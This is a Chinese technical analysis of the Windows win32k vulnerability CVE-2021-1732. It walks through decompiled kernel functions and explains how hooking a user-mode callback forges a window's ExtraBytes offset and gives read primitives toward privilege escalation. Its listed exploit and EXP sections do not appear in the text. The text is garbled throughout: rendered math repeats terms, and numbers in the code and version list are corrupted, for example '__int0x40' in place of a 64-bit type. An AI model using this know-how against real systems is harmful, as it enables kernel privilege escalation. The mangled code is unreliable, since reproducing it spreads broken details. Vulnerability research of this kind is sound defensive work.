文章目录

  • CVE-2021-1732
    • 0x0 漏洞描述
    • 0x1 受影响版本
    • 0x2 漏洞分析
      • ■ 环境
      • ■ 分析
      • ■ NtUserConsoleControl逆向分析
      • ■ xxxSetWindowLong逆向分析
      • ■ xxxSetWindowLongPtr逆向分析
      • ■ CreateWindowEx生成HWND分析
      • ■ CreateMenu逆向分析
      • ■ xxxGetMenuBarInfo逆向分析
      • ■ Win10 1909泄露内核
      • ■ 归纳几个重要的结构体及其偏移
    • 0x3 漏洞利用
      • 1.获取需要用到的函数地址
      • 2.HOOK目标函数
      • 3.精心构造3个窗口
      • 4.代理xxxClientAllocExtraBytesFunc
      • 5.在内存中寻找hWndTriggle的句柄
      • 6.获取读原语
      • 4.提权
      • 5.恢复
      • 6.EXP
      • 7.演示
    • 0x4 后记
    • 0x5 参考

CVE-2021-1732

0x0 漏洞描述

  • 漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx\textcolor{cornflowerblue}{win32kfull!NtUserCreateWindowEx}win32kfull!NtUserCreateWindowEx​函数中的一处内核回调用户态分配内存与tagWND­−>flag\textcolor{orange}{tagWND­->flag}tagWND­−>flag​属性设置不同步导致的漏洞。使得可以伪造这个tagWND­−>ExtraBytes\textcolor{orange}{tagWND­->ExtraBytes}tagWND­−>ExtraBytes​值 发生内存越界。

  • 当驱动win32kfull.sys调用NtUserCreateWindowEx\textcolor{cornflowerblue}{NtUserCreateWindowEx}NtUserCreateWindowEx创建窗口时会判断tagWND­−>cbWndExtra\textcolor{orange}{tagWND­->cbWndExtra}tagWND­−>cbWndExtra(窗 口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{win32kfull!xxxClientAllocWindowClassExtraBytes}win32kfull!xxxClientAllocWindowClassExtraBytes 函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{user32.dll!\_\_xxxClientAllocWindowClassExtraBytes}user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间,分配后的地址 使用NtCallbackReturn\textcolor{cornflowerblue}{NtCallbackReturn}NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND­−>flag\textcolor{orange}{tagWND­->flag}tagWND­−>flag 值包含0x800属性后该保存值变成了一个offset

  • 攻击者可以Hook user32.dll!xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{user32.dll!_xxxClientAllocWindowClassExtraBytes}user32.dll!x​xxClientAllocWindowClassExtraBytes函数调用 NtUserConsoleControl\textcolor{cornflowerblue}{NtUserConsoleControl}NtUserConsoleControl修改tagWND­−>flag\textcolor{orange}{tagWND­->flag}tagWND­−>flag包含0x800属性值后使用NtCallbackReturn\textcolor{cornflowerblue}{NtCallbackReturn}NtCallbackReturn返回一个 自定义的值到内核tagWND­−>ExtraBytes\textcolor{orange}{tagWND­->ExtraBytes}tagWND­−>ExtraBytes。

0x1 受影响版本

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM0x40­based Systems
Windows 10 Version 20H2 for 32­bit Systems
Windows 10 Version 20H2 for x0x40­based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x0x40­based Systems
Windows 10 Version 2004 for ARM0x40­based Systems
Windows 10 Version 2004 for 32­bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM0x40­based Systems
Windows 10 Version 1909 for x0x40­based Systems
Windows 10 Version 1909 for 32­bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM0x40­based Systems
Windows 10 Version 1809 for x0x40­based Systems
Windows 10 Version 1809 for 32­bit Systems
Windows 10 Version 1803 for ARM0x40­based Systems
Windows 10 Version 1803 for x0x40­based Systems

0x2 漏洞分析

■ 环境

Win10 x0x40 版本1909OS 内部版本18363.418

■ 分析

本分析基于漏洞描述和公开的POC,所以分析的顺序上有些跳跃。分析尽力详细阐述漏洞利用方式和如何编写提权EXP

根据漏洞描述,首先对win32kfull!NtUserCreateWindowEx\textcolor{cornflowerblue}{win32kfull!NtUserCreateWindowEx}win32kfull!NtUserCreateWindowEx的相关位置进行逆向分析,发现其实质调用了xxxCreateWindowEx\textcolor{cornflowerblue}{xxxCreateWindowEx}xxxCreateWindowEx,跟进此函数分析,漏洞点在xxxCreateWindowEx:845\textcolor{orange}{xxxCreateWindowEx:845}xxxCreateWindowEx:845

if ( !(unsigned __int8)tagWND::RedirectedFieldcbwndExtra<int>::operator!=((char *)pWnd + 0xB1, &CurThread)// *(QWORD*)(pWnd[5]+0xc8)!=CurThread|| (*(_QWORD *)(pWnd[5]                     // 这里+ 0x128) = xxxClientAllocWindowClassExtraBytes(*(unsigned int *)(pWnd[5] + 0xC8)),v0x182 = 0,!(unsigned __int8)tagWND::RedirectedFieldpExtraBytes::operator==<unsigned __int0x40>(pWnd + 40, &v242)) )
{...
}

pWnd[5]指向的是tagWND结构,tagWND+0xC8\textcolor{orange}{tagWND+0xC8}tagWND+0xC8指向的是nt!_KTHREAD结构,tagWND+0x128\textcolor{orange}{tagWND+0x128}tagWND+0x128是ExtraBytes,并调用xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes}xxxClientAllocWindowClassExtraBytes在当前线程下为其窗口分配额外的空间。

volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{v1 = (unsigned int)Length;v11 = Length;if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )KeBugCheckEx(0x160u, gdwInAtomicOperation, 0, 0, 0);ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);EtwTraceBeginCallback(123);ntst = KeUserModeCallback(0x7B, &v11, 4, &OutputBuffer, &retLen);//ApiNumber = 0x7BEtwTraceEndCallback(123);LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);if ( ntst < 0 || retLen != 0x18 )return 0;v3 = OutputBuffer;if ( (char *)OutputBuffer + 8 < OutputBuffer || (unsigned __int0x40)OutputBuffer + 8 > MmUserProbeAddress )v3 = (LPVOID)MmUserProbeAddress;v8 = *(volatile void **)v3;v4 = v8;v5 = PsGetCurrentProcessWow0x40Process();ProbeForRead(v4, v1, v5 != 0 ? 1 : 4);return v4;
}

xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes}xxxClientAllocWindowClassExtraBytes​​通过用户态回调给窗口分配额外的内存,并且要求返回的长度为0x18。KeUserModeCallback\textcolor{cornflowerblue}{KeUserModeCallback}KeUserModeCallback​​将ApiNumber作为KernelCallbackTable的索引,找到目标函数。KernelCallbackTable地址可以在PEB+0x58\textcolor{orange}{PEB+0x58}PEB+0x58​​处取得。这里的用户态回调的函数为user32!xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{user32!xxxClientAllocWindowClassExtraBytes}user32!xxxClientAllocWindowClassExtraBytes​​

NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{PVOID Result; // [rsp+20h] [rbp-28h] BYREFint v3; // [rsp+28h] [rbp-20h]__int0x40 v4; // [rsp+30h] [rbp-18h]v3 = 0;v4 = 0;Result = RtlAllocateHeap(pUserHeap, 8u, *a1);return NtCallbackReturn(&Result, 0x18u, 0);
}

正常情况下,该函数会使用RtlAllocateHeap\textcolor{cornflowerblue}{RtlAllocateHeap}RtlAllocateHeap​​​函数分配一个桌面堆作为窗口的额外数据空间,并返回0x18大小的数据。这里IDA识别有误,事实上Result是个QWORD数组,元素个数为3,所以返回的数据应该是{0,0,Heap_addr}\textcolor{orange}{\{0,0,Heap\_addr\}}{0,0,Heap_addr}​​​而由于xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes}xxxClientAllocWindowClassExtraBytes​处于用户态下,容易受到用户态的HOOK,将会导致意外结果。为了更好的理解这个漏洞的利用和POC的编写,还需要了解几个关键函数。

■ NtUserConsoleControl逆向分析

__int0x40 __fastcall NtUserConsoleControl(unsigned int ControlCode, volatile void *Process_Info, unsigned int Size)
{SIZE_T v6; // rsiunsigned int v7; // ebx_QWORD Src[3]; // [rsp+40h] [rbp-38h] BYREFSrc[0] = 0;Src[1] = 0;Src[2] = 0;EnterCrit(0, 1);if ( ControlCode > 6 ){v7 = -1073741823;UserSetLastStatus(-1073741811);}else if ( Size > 0x18 ){v7 = -1073741811;}else if ( Process_Info && Size ){v6 = Size;ProbeForRead(Process_Info, Size, 2u);memmove(Src, (const void *)Process_Info, Size);v7 = xxxConsoleControl(ControlCode, (struct _CONSOLE_PROCESS_INFO *)Src, Size);ProbeForWrite(Process_Info, v6, 2u);memmove((void *)Process_Info, Src, v6);}else{v7 = -1073741811;}UserSessionSwitchLeaveCrit();return v7;
}

NtUserConsoleControl\textcolor{cornflowerblue}{NtUserConsoleControl}NtUserConsoleControl的实质是调用xxxConsoleControl\textcolor{cornflowerblue}{xxxConsoleControl}xxxConsoleControl,并将结果保存在Process_Info中。当 ControlCode==6\textcolor{orange}{ControlCode == 6}ControlCode==6 时将会来到xxxConsoleControl:131\textcolor{orange}{xxxConsoleControl:131}xxxConsoleControl:131

__int0x40 __fastcall xxxConsoleControl(__int0x40 ControlCode, struct _CONSOLE_PROCESS_INFO *Consle_Process_Info, int Size){...
if ( (*(_DWORD *)(*(_QWORD *)pwnd + 0xE8) & 0x800) != 0 )// 一开始的tagWND* pwnd->Flags!=0x800,所以会走else分支 {Heap_Ptr = (_DWORD *)(*(_QWORD *)(v19 + 0x128) + *(_QWORD *)(*(_QWORD *)(Object_Ptr + 0x18) + 128));}else{                                           // 通过DeskAllocHeap从桌面堆中分配内存,// 分配大小由cbWndExtra指定Heap_Ptr = (_DWORD *)DesktopAlloc(*(_QWORD *)(Object_Ptr + 0x18), *(unsigned int *)(v19 + 0xC8), 0);//①if ( !Heap_Ptr ){v5 = -1073741801;
LABEL_33:ThreadUnlock1();return v5;}if ( *(_QWORD *)(*(_QWORD *)pwnd + 0x128) ){CurEproc = PsGetCurrentProcess(v22, v21, v23, v0x18);Extra_Size = *(_DWORD *)(*(_QWORD *)pwnd + 0xC8);Extra_Bytes = *(const void **)(*(_QWORD *)pwnd + 0x128);memmove(Heap_Ptr, Extra_Bytes, Extra_Size);if ( (*(_DWORD *)(CurEproc + 0x30C) & 0x40000008) == 0 )// EPROCESS *CurEpro->FlagsxxxClientFreeWindowClassExtraBytes(Object_Ptr, *(LPVOID *)(*(_QWORD *)(Object_Ptr + 0x28) + 0x128));}*(_QWORD *)(*(_QWORD *)pwnd + 0x128) = (char *)Heap_Ptr - *(_QWORD *)(*(_QWORD *)(Object_Ptr + 0x18) + 0x80);// 重新设置tagWND *pwnd->Extra_Ptr指针  ②}if ( Heap_Ptr ){*Heap_Ptr = *((_DWORD *)Consle_Process_Info + 2);Heap_Ptr[1] = *((_DWORD *)Consle_Process_Info + 3);}*(_DWORD *)(*(_QWORD *)pwnd + 0xE8) |= 0x800u;// pwnd->Types  ③goto LABEL_33;}
}

如果tagWND∗pwnd−>Flags!=0x800\textcolor{orange}{ tagWND* pwnd->Flags\ !=0x800}tagWND∗pwnd−>Flags !=0x800​​​,则会重新分配一个桌面堆**@line:10**,并将tagWND∗pwnd−>ExtraBytes\textcolor{orange}{ tagWND* pwnd->ExtraBytes}tagWND∗pwnd−>ExtraBytes​​​设置为基于桌面堆的偏移**@line:27**。∗(_QWORD∗)(∗(_QWORD∗)(Object_Ptr+0x18)+0x80)\textcolor{orange}{*(\_QWORD *)(*(\_QWORD *)(Object\_Ptr + 0x18) + 0x80)}∗(_QWORD∗)(∗(_QWORD∗)(Object_Ptr+0x18)+0x80)​​​存放的是当前窗口所在桌面堆的起始地址。然后将tagWND∗pwnd−>Types∣=0x800\textcolor{orange}{ tagWND* pwnd->Types\ |=\ 0x800}tagWND∗pwnd−>Types ∣= 0x800​​​​​,以此标记该窗口的额外数据采用桌面堆**+偏移的寻址方式@line:34**,这直接影响的是诸如**SetWindowLong***系列函数对其窗口的设置。

■ xxxSetWindowLong逆向分析

在 _ofset>0\textcolor{orange}{\_ofset>0}_ofset>0​​ 的情况下,函数流程如下

__int0x40 __fastcall xxxSetWindowLong(CPullPin *this, int _offset, unsigned int NewLong, __int0x40 a4, int a5)
{...v5 = a4;*(_QWORD *)&NewLong = NewLong;offset = a2;v9 = 0;if ( !(unsigned int)FCallerOk(this) )goto LABEL_28;...
LABEL_5:v13 = *((_QWORD *)this + 5);if ( (*(_WORD *)(v13 + 42) & 0x3FFF) != 0 ){v23 = (unsigned int *)safe_cast_wf_to_PDIALOG(this);...}result = v13;if ( (int)offset < 0 ){...
LABEL_46:offset = 1413;
LABEL_37:UserSetLastError(offset);if ( v9 )KeDetachProcess();return 0;}
LABEL_7:v15 = *(unsigned int *)(result + 0xFC);          // 实际调试发现,v15=0if ( (unsigned __int0x40)(unsigned int)offset + 4 > (unsigned int)(v15 + *(_DWORD *)(result + 0xC8)) )// offset不能超过tagWND->cbWndExtra-4  ①goto LABEL_46;...
LABEL_10:v17 = (int)offset;if ( (int)offset + 4 <= v15 ){v30 = *((_QWORD *)this + 0x23);OldLong = *(_DWORD *)((int)offset + v30);*(_DWORD *)(v17 + v30) = NewLong;}else{v18 = offset - v15;if ( (*(_DWORD *)(v13 + 0xE8) & 0x800) != 0 )//②v19 = (unsigned int *)(*(_QWORD *)(v13 + 0x128) + v18 + *(_QWORD *)(*((_QWORD *)this + 3) + 0x80));elsev19 = (unsigned int *)(*(_QWORD *)(v13 + 0x128) + v18);OldLong = *v19;//②*v19 = NewLong;//③}
LABEL_14:if ( v9 )KeDetachProcess();return OldLong;//④
}

在offset<=tagWND−>cbWndExtra−4\textcolor{orange}{offset\ <=\ tagWND->cbWndExtra-4}offset <= tagWND−>cbWndExtra−4时,会判断tagWND−>Types\textcolor{orange}{tagWND->Types}tagWND−>Types 。如果标记了0x800,则会采用桌面堆(DeskHeap)+偏移(offset)的方式,向DeskHeap+tagWND−>ExtraBytes\textcolor{orange}{DeskHeap+tagWND->ExtraBytes}DeskHeap+tagWND−>ExtraBytes写入NewLong;没有标记0x800,则直接向tagWND−>ExtraBytes\textcolor{orange}{tagWND->ExtraBytes}tagWND−>ExtraBytes写入NewLong,最后返回旧的值②③④。该函数对应的用户层接口为SetWindowLong\textcolor{cornflowerblue}{SetWindowLong}SetWindowLong​。

■ xxxSetWindowLongPtr逆向分析

unsigned __int0x40 __fastcall xxxSetWindowLongPtr(struct tagWND *this, int nIndex, __int0x40 NewLong, __int0x40 a4, int a5)
{...
...
if ( (int)nIndex_1 < 0 )goto LABEL_7;
if ( (int)nIndex_1 >= 0 ){LABEL_24:tagWnd_1 = *((_QWORD *)pkwnd + 5);v24 = *(unsigned int *)(tagWnd_1 + 0xFC);   // 实际调试发现v24=0if ( (unsigned __int64)(unsigned int)nIndex_1 + 8 <= (unsigned int)(v24 + *(_DWORD *)(tagWnd_1 + 0xC8)) ){...v25 = *(_WORD **)(*((_QWORD *)pkwnd + 0x11) + 8i64);if ( (v25[3] & 0x100) == 0 )goto LABEL_27;v40 = 0i64;v41 = &gDefaultServerClasses;while ( *v25 != *(_WORD *)(gpsi + 2i64 * ((*v41 >> 3) & 0x1F) + 0x364) ){v40 = (unsigned int)(v40 + 1);v41 += 12;if ( (unsigned int)v40 >= 8 )goto LABEL_27;}if ( (int)nIndex_1 >= *((_DWORD *)&gDefaultServerClasses + 12 * v40 + 6)|| (*v41 & 0xF8) == 0xB0 && (unsigned __int64)((int)nIndex_1 + 8i64) <= 0xFFFFFFFFFFFFFEE0ui64 ){LABEL_27:v26 = (int)nIndex_1;if ( (int)nIndex_1 + 8i64 <= v24 ){...}else{offset = nIndex_1 - v24;//实际上v24=0,所以offset=nIndex_1=nIndexif ( (*(_DWORD *)(tagWnd_1 + 0xE8) & 0x800) != 0 )LongPtr = (__int64 *)(*(_QWORD *)(tagWnd_1 + 0x128) + offset + *(_QWORD *)(*((_QWORD *)pkwnd + 3) + 128i64));elseLongPtr = (__int64 *)(*(_QWORD *)(tagWnd_1 + 0x128) + offset);OldLongPtr = *LongPtr;*LongPtr = NewLongPtr;}goto LABEL_8;}v39 = 5i64;
LABEL_51:UserSetLastError(v39);if ( v9 )KeDetachProcess();return 0i64;}
LABEL_50:v39 = 1413i64;goto LABEL_51;}
LABEL_7:OldLongPtr = xxxSetWindowData(pkwnd, nIndex_1, NewLongPtr, v5);
...
}
  • 当nIndex=0\textcolor{orange}{nIndex=0}nIndex=0时,会向tagWND−>ExtraBytes\textcolor{orange}{tagWND->ExtraBytes}tagWND−>ExtraBytes​写入NewLong

  • 当nIndex>0\textcolor{orange}{nIndex > 0}nIndex>0且nIndex<0xFFFFFFFFFFFFFEE0−8\textcolor{orange}{nIndex<0xFFFFFFFFFFFFFEE0-8}nIndex<0xFFFFFFFFFFFFFEE0−8时,就会设置tagWnd−>ExtraBytes\textcolor{orange}{tagWnd->ExtraBytes}tagWnd−>ExtraBytes​ @line:39 @line:43 @line:44

  • 当nIndex<0\textcolor{orange}{nIndex<0}nIndex<0时,调用xxxSetWindowData\textcolor{cornflowerblue}{xxxSetWindowData}xxxSetWindowData,对于该函数重点关注 nIndex=−12\textcolor{orange}{nIndex=-12}nIndex=−12​​的情况,因为POC利用过这个情况

unsigned __int0x40 __fastcall xxxSetWindowData(CPullPin *this, unsigned int nIndex, __int0x40 NewLong, unsigned int a4)
{...switch ( nIndex ){case 0xFFFFFFF4://-12  设置子窗口的新标识符。该窗口不能是顶级窗口。v46 = *((_QWORD *)this + 5);if ( (*(_BYTE *)(v46 + 0x1F) & 0xC0) == 0x40 ){result = *((_QWORD *)this + 0x15);*(_QWORD *)(v46 + 0x98) = NewLong;*((_QWORD *)this + 0x15) = NewLong;}else{v47 = (unsigned __int0x40 *)*((_QWORD *)this + 21);result = 0;if ( v47 )result = *v47;if ( NewLong ){v48 = ValidateHmenu(NewLong);v62 = 0;SmartObjStackRefBase<tagMENU>::operator=(&v60, v48);if ( (unsigned __int8)SmartObjStackRef<tagMENU>::operator==(&v60, v49) ){LABEL_91:result = 0;goto LABEL_0x60;}LockWndMenuWorker(this, 0, &v60);}else{UnlockWndMenuWorker(this, 0);}}goto LABEL_0x60;}...
}

当tagWND−>Style\textcolor{orange}{tagWND->Style}tagWND−>Style​​包含WS_CHLD时**@line:8**,tagWnd−>spMenu=NewLong\textcolor{orange}{tagWnd->spMenu = NewLong}tagWnd−>spMenu=NewLong​​ @line:12,这里将会是后面获取读原语的切入点。

■ CreateWindowEx生成HWND分析

CreateWindowEx\textcolor{cornflowerblue}{CreateWindowEx}CreateWindowEx​调用内核的xxxCreateWindowEx\textcolor{cornflowerblue}{xxxCreateWindowEx}xxxCreateWindowEx​​函数,其532行:

WndObject = HMAllocObject(CurThread_1, rdesk, Type, 0x150);pWnd = (_QWORD *)WndObject;v217 = (_QWORD *)WndObject;if ( !WndObject ){if ( (unsigned int)UserGetLastError() != 8 )goto LABEL_569;v39 = MEMORY[0xFFFFF78000000320];v0x181 = MEMORY[0xFFFFF78000000320];v40 = 1;
LABEL_77:v41 = ((unsigned __int0x40)MEMORY[0xFFFFF78000000004] << 32) * (unsigned __int128)(unsigned __int0x40)(v39 << 8);
LABEL_78:TraceLoggingCreateWindowFailed(v40, *((unsigned __int0x40 *)&v41 + 1));goto LABEL_569;}tagObjLock::LockInitialize((tagObjLock *)(WndObject + 0x38));if ( (*(_DWORD *)(*(_QWORD *)(pWnd[2] + 0x1A0) + 0x32C) & 0x2000000) != 0 )*((_DWORD *)pWnd + 0x52) |= 0x10u;*(_QWORD *)(pWnd[5] + 0x128) = 0;pWnd[35] = 0;*(_DWORD *)(pWnd[5] + 0xE8) &= 0xBFFFFFFF;*(_DWORD *)(pWnd[5] + 0x124) = W32GetCurrentThreadDpiHostingBehavior();
...

HMAllocObject\textcolor{cornflowerblue}{HMAllocObject}HMAllocObject中的CurThread_1表示当前的线程信息,rdesk表示ptiCurrent−>rdesk\textcolor{orange}{ptiCurrent->rdesk}ptiCurrent−>rdesk​,这里的Type1表示WindowsWndObject即是tagWND

...
if ( (v9 & 0x10) != 0 && rdesk ){if ( (int)IsDesktopAllocSupported() < 0 )goto LABEL_67;tagWndKernel = (unsigned __int0x40 *)HMAllocateUserOrIsolatedType(Size, v9, type_1);if ( !tagWndKernel )goto LABEL_67;DeskHeap = DesktopAlloc(rdesk, *(unsigned int *)((char *)&gahti + v38 + 16), ((unsigned __int8)type_1 << 16) | 5u);tagWndKernel[5] = DeskHeap;if ( !DeskHeap ){HMFreeUserOrIsolatedType(v9, type_1, tagWndKernel);goto LABEL_67;}LockObjectAssignment(tagWndKernel + 3, rdesk);DeskHeap_1 = tagWndKernel[5];tagWndKernel[4] = (unsigned __int0x40)tagWndKernel;tagWndKernel[6] = DeskHeap_1 - *(_QWORD *)(rdesk + 0x80);}
...
hwnd = (int)v15 | (unsigned __int0x40)(*(unsigned __int16 *)((char *)qword_1C0215758+ v15 * (unsigned int)dword_1C02150x4C0+ 26) << 16);*tagWndKernel = hwnd;if ( *(_DWORD *)((char *)&gahti + v38 + 16) ){tagWnd = (unsigned __int0x40 *)tagWndKernel[5];*tagWnd = hwnd;tagWnd[1] = tagWndKernel[6];}if ( v4 ){v22 = ++*(_DWORD *)(v4 + 0x44);if ( v22 > *(_DWORD *)(v4 + 0x48) )*(_DWORD *)(v4 + 0x48) = v22;}

当Type=1\textcolor{orange}{Type=1}Type=1​时,采用桌面堆进行分配。hwnd的计算方式见**@ line:22**​

  • tagWnd[0]\textcolor{orange}{tagWnd[0]}tagWnd[0]保存窗口句柄hwnd
  • tagWnd[1]\textcolor{orange}{tagWnd[1]}tagWnd[1]​保存着tagWnd地址与桌面堆地址的偏移

■ CreateMenu逆向分析

调用流程:CreateMenu()−>NtUserCallNoParam(0)−>apfnSimpleCall[0]()−>InternalCreateMenu(0,a2,a3)\textcolor{orange}{CreateMenu()->NtUserCallNoParam(0)->apfnSimpleCall[0]()->InternalCreateMenu(0, a2, a3)}CreateMenu()−>NtUserCallNoParam(0)−>apfnSimpleCall[0]()−>InternalCreateMenu(0,a2,a3)

__int64 __fastcall InternalCreateMenu(int a1, __int64 a2, __int64 type)
{__int64 v4; // rsi__int64 pMenu; // rax__int64 pMenu_1; // rbx
//做一些检查v4 = *(_QWORD *)(gptiCurrent + 0x1C0i64);if ( *(_QWORD *)(gptiCurrent + 0x248i64)&& !(unsigned int)CheckGrantedAccess(*(unsigned int *)(gptiCurrent + 0x378i64), 4i64) ){return 0i64;}LOBYTE(tyep) = 2;//根据类型分配对象pMenu = HMAllocObject(gptiCurrent, v4, type, 160i64);pMenu_1 = pMenu;if ( pMenu ){if ( !(unsigned __int8)InitLookAsideRef<tagMENU>(pMenu) ){HMFreeObject(pMenu_1);pMenu_1 = 0i64;}if ( pMenu_1 ){if ( a1 )//a1=0{*(_DWORD *)(*(_QWORD *)(pMenu_1 + 0x28) + 0x28i64) = 1;*(_QWORD *)(pMenu_1 + 0x80) = 0i64;*(_QWORD *)(pMenu_1 + 0x88) = 0i64;*(_DWORD *)(pMenu_1 + 0x90) = 0;}}}return pMenu_1;
}char __fastcall InitLookAsideRef<tagMENU>(__int64 pMenu)
{__int64 *KernelHeap; // raxif ( !gpStackRefLookAside )KeBugCheck(4u);KernelHeap = (__int64 *)Win32AllocateFromPagedLookasideList();//返回0x20大小的KernelHeap*(_QWORD *)(pMenu + 0x98) = KernelHeap;if ( KernelHeap ){*KernelHeap = pMenu;*(_DWORD *)(*(_QWORD *)(pMenu + 0x98) + 8i64) = 0;*(_BYTE *)(*(_QWORD *)(pMenu + 0x98) + 0xCi64) = 0;LOBYTE(KernelHeap) = 1;}return (char)KernelHeap;
}

仅仅通过这个函数并不能知晓其中涉及到的tagMenu偏移的具体含义,这的目的只是弄明白tagMenu一些必要的偏移量的设置,后面编写POC需要用到。该函数只设置了tagMenu偏移为0x98的成员。tagMenu+0x98\textcolor{orange}{tagMenu+0x98}tagMenu+0x98是一个指针,指向tagMenu结构自身。

■ xxxGetMenuBarInfo逆向分析

xxxGetMenuBarInfo\textcolor{cornflowerblue}{xxxGetMenuBarInfo}xxxGetMenuBarInfo由NtUserGetMenuBarInfo\textcolor{cornflowerblue}{NtUserGetMenuBarInfo}NtUserGetMenuBarInfo调用,NtUserGetMenuBarInfo\textcolor{cornflowerblue}{NtUserGetMenuBarInfo}NtUserGetMenuBarInfo对应的用户态函数为GetMenuBarInfo\textcolor{cornflowerblue}{GetMenuBarInfo}GetMenuBarInfo​​。漏洞利用到该函数位置为

...
switch ( idObject ){case -3:if ( (*(_BYTE *)(tagWND + 0x1F) & 0x40) != 0 )// tagWND->Style 包含 WS_CHLDgoto LABEL_9;pMenu = Khwnd[0x15];                      // 0xA8if ( !pMenu )goto LABEL_9;v75 = 0;SmartObjStackRefBase<tagMENU>::operator=(&tagMenu, pMenu);if ( !(unsigned __int8)SmartObjStackRef<tagMENU>::operator bool(&tagMenu)|| (int)idItem_1 < 0|| (unsigned int)idItem_1 > *((_DWORD *)(*tagMenu)[5] + 0xB) )//tagMenu->idItem{goto LABEL_9;}phMenu = v75;if ( !v75 )phMenu = *tagMenu;BarInfo->hMenu = *phMenu;if ( *((_DWORD *)*tagMenu + 0x10) && *((_DWORD *)*tagMenu + 0x11) )//尚不明确其含义,经测试只要是有一个菜单项,且菜单位于窗口之上就能通过该条件判断{if ( (_DWORD)idItem_1 )                 // idItem表示菜单项{tagWnd = Khwnd[5];Next = 0x60 * idItem_1;MenuEntry = (*tagMenu)[0xB];//菜单项链表头//根据idItem定位菜单项rgItems = *((_QWORD *)MenuEntry + 0xC * idItem_1 - 0xC);// tagWND->spmenu->rgItemsif ( (*(_BYTE *)(tagWnd + 0x1A) & 0x40) != 0 ){top = *(_DWORD *)(tagWnd + 0x60) - *(_DWORD *)(rgItems + 0x40);BarInfo->rcBar.top = top;HIDWORD(BarInfo->cbSize) = top - *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x48);}else//经测试,一般走else分支,包括POC{cbSize = *(_DWORD *)(rgItems + 0x40) + *(_DWORD *)(tagWnd + 0x58);HIDWORD(BarInfo->cbSize) = cbSize;BarInfo->rcBar.top = cbSize + *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x48);}//left = pMenu->left + tagWnd->leftleft = *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x44) + *(_DWORD *)(Khwnd[5] + 0x5C);BarInfo->rcBar.left = left;//right = left + pMenu->rightright = left + *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x4C);}else...BarInfo->rcBar.right = right;}pPopMenuEntry = *(__int64 **)(Khwnd[2] + 0x258);if ( pPopMenuEntry )pPopMenu_1 = *pPopMenuEntry;elsepPopMenu_1 = 0;SmartObjStackRefBase<tagPOPUPMENU>::operator=(&tagPopupMenu, pPopMenu_1);if ( *(_QWORD *)tagPopupMenu && (**(_DWORD **)tagPopupMenu & 2) != 0 && (**(_DWORD **)tagPopupMenu & 4) == 0 ){LABEL_60:if ( *(_QWORD **)(*(_QWORD *)tagPopupMenu + 8) != Khwnd )break;v46 = *(_DWORD *)&BarInfo->fBarFocused | 1;*(_DWORD *)&BarInfo->fBarFocused = v46;if ( (_DWORD)idItem_1 ){if ( *(_DWORD *)(*(_QWORD *)(*(_QWORD *)tagPopupMenu + 0x40) + 0x50) != (_DWORD)idItem_1 - 1 )break;v47 = tagPopupMenu;*(_DWORD *)&BarInfo->fBarFocused |= 2u;if ( *(_QWORD *)(*(_QWORD *)(*(_QWORD *)v47 + 0x40) + 0x18) ){hwndMenu = **(HWND **)(*(_QWORD *)(*(_QWORD *)tagPopupMenu + 0x40) + 0x18);
LABEL_106:BarInfo->hwndMenu = hwndMenu;break;}
LABEL_104:hwndMenu = 0;goto LABEL_106;}goto LABEL_101;}break;...}
...

可见利用GetMenuBarInfo\textcolor{cornflowerblue}{GetMenuBarInfo}GetMenuBarInfo需要满足的要求是

  • idObject=−3\textcolor{orange}{idObject = -3}idObject=−3​​ @line:4
  • tagWnd−>Style\textcolor{orange}{tagWnd->Style}tagWnd−>Style​​​​包含WS_CHLD @line:5
  • 菜单需要附着于窗口上,且至少要有一个菜单项 @line:22

BarInfo是调用GetMenuBarInfo\textcolor{cornflowerblue}{GetMenuBarInfo}GetMenuBarInfo​​的最后一个参数,保存着Menu的信息。分析得出

  • BarInfo−>rcBar.left=pMenu−>left+tagWnd−>left\textcolor{orange}{ BarInfo->rcBar.left = pMenu->left + tagWnd->left}BarInfo−>rcBar.left=pMenu−>left+tagWnd−>left​

  • BarInfo−>rcBar.right=pMenu−>left+tagWnd−>left+pMenu−>right\textcolor{orange}{BarInfo->rcBar.right = pMenu->left + tagWnd->left + pMenu->right}BarInfo−>rcBar.right=pMenu−>left+tagWnd−>left+pMenu−>right

如果窗口设置了弹出式菜单,则会根据弹出式菜单当前的状态取得聚焦情况和菜单句柄 @line:51 @line:52 @line:63 @line:69 @line:74

■ Win10 1909泄露内核

Win10 1909乃至20H的版本上,可以通过HMValidateHandle\textcolor{cornflowerblue}{HMValidateHandle}HMValidateHandle​​​函数泄露内核。尽管该函数未文档化,但是前辈已经通过逆向分析得知了其定义和调用方式。

